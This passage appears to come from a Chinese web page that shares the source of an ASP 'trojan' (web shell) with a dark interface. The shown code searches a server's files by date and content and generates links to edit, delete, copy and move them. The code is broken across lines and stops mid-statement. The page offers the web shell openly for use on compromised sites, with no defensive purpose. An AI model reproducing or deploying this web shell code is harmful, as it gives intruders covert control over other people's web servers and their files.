一款不错的asp木马 黑色界面(35)

    If request.Form("Search_Date") = "ALL" Then ALLTime = True
    For i = 0 To Ubound(xDate)
        If theTmp = xDate(i) or ALLTime = True Then 
            If request("Search_Content") <> "" Then
                Set FSO2s = CreateObject
("Scripting.FileSystemObject")
                set ofile = FSO2s.OpenTextFile(thePath, 
1, false, -2)
                filetxt = Lcase(ofile.readall())
                If Instr( filetxt, LCase(request.Form
("Search_Content"))) > 0 Then
                    temp = "<a 
href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode
(Replace(replace(thePath,server.MapPath("\")&"\","",1,1,1),"\","/"))
&""" target=_blank>"&replace(thePath,server.MapPath("\")&"\","",1,1,1)
&"</a>"
    temp=temp&" → <a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""EditFile"")' class='am' title='编辑'>编辑</a> "
    temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""DelFile"")' 
 onclick='return yesok()' class='am' title='删除'>删除</a > "
    temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""CopyFile"")' class='am' title='复制'>复制</a> "
    temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""MoveFile"")' class='am' title='移动'>移动</a>"    
                Report = Report&"<tr><td 
height=30>"&temp&"</td><td>"&GetDateCreate(thePath)
&"</td><td>"&theDate&"</td></tr>"
                    Report = 
Report&"<tr><td>"&temp&"</td><td>"&GetDateCreate(thePath)